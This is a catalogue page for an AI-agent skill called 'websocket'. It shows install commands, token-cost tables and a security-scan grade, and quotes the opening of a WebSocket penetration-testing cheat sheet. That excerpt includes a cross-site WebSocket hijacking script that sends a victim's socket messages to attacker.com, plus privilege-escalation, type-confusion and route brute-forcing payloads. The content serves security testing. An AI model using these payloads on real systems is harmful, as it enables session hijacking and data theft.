Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill websocketgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/websocket/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/websocket"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/websocket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00051 | $0.01086 |
| Opus 5 | $0.00026 | $0.00543 |
| Sonnet 5 | $0.00010 | $0.00217 |
| Haiku 4.5 | $0.00005 | $0.00109 |
Grade A, and why
websocket scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -i \ This is a copy
97% identical to api-websocket — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.
WebSocket Attack Surface
Detect
Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).
# Quick handshake test
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
# 101 = upgraded
Top 5 bug classes
1. Cross-Site WebSocket Hijacking (CSWSH)
Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.
2. Missing per-message authorization
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"} # ⚠ admin op succeeds
3. Message-type confusion
Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}} // Unicode-normalize bypass
4. WS → wss downgrade
If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
5. Hidden RPC routes
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 120 lines · 51 tokens per session scan A 20578239b851
websocket is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 51 tokens to every session and 1,086 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 97% identical to api-websocket, differing in 2 lines, and is treated as a copy.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
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cis-aws-foundations-2.12
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cis-aws-foundations-2.7
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cis-aws-foundations-4.4
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